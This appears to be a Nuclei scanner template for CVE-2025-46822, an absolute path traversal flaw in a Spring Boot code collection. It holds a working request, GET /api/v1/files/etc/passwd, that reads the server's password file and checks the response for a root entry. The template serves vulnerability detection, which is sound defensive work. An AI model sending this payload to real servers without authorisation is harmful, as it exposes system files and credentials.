id: CVE-2025-46822 info: name: Java-springboot-codebase 1.1 - Arbitrary File Read author: haliteroglu25 severity: high description: | OsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized access to sensitive internal files. Commit c835c6f7799eacada4c0fc77e0816f250af01ad2 contains a patch for the issue. impact: | Attackers can read arbitrary files from the server through absolute path traversal in the /api/v1/files/ endpoint, potentially exposing sensitive system files and credentials. remediation: | Upgrade to commit c835c6f7799eacada4c0fc77e0816f250af01ad2 or later that properly validates file paths. reference: - https://github.com/OsamaTaher/Java-springboot-codebase - https://nvd.nist.gov/vuln/detail/CVE-2025-46822 - https://github.com/OsamaTaher/Java-springboot-codebase/security/advisories/GHSA-q6mm-cm37-w637 - https://github.com/OsamaTaher/Java-springboot-codebase/commit/c835c6f7799eacada4c0fc77e0816f250af01ad2 - https://github.com/PuddinCat/GithubRepoSpider classification: epss-score: 0.03847 epss-percentile: 0.89018 metadata: verified: true max-request: 1 tags: cve,cve2025,java,springboot,codebase,lfi,vuln flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 matchers: - type: dsl dsl: - 'contains_any(body, "Whitelabel Error Page","explicit mapping")' internal: true - raw: - | GET /api/v1/files/etc/passwd HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a0046304402202ca9466d877eeac64e5831a198a133e4952cbfa5d7b01a82beed5531a3b2125002203b0d53fe769a02f3c6b6c499a9a164625a7ac9f511ab4ded1b08d39c6f63a146:922c64590222798bb761d5b6d8e72950
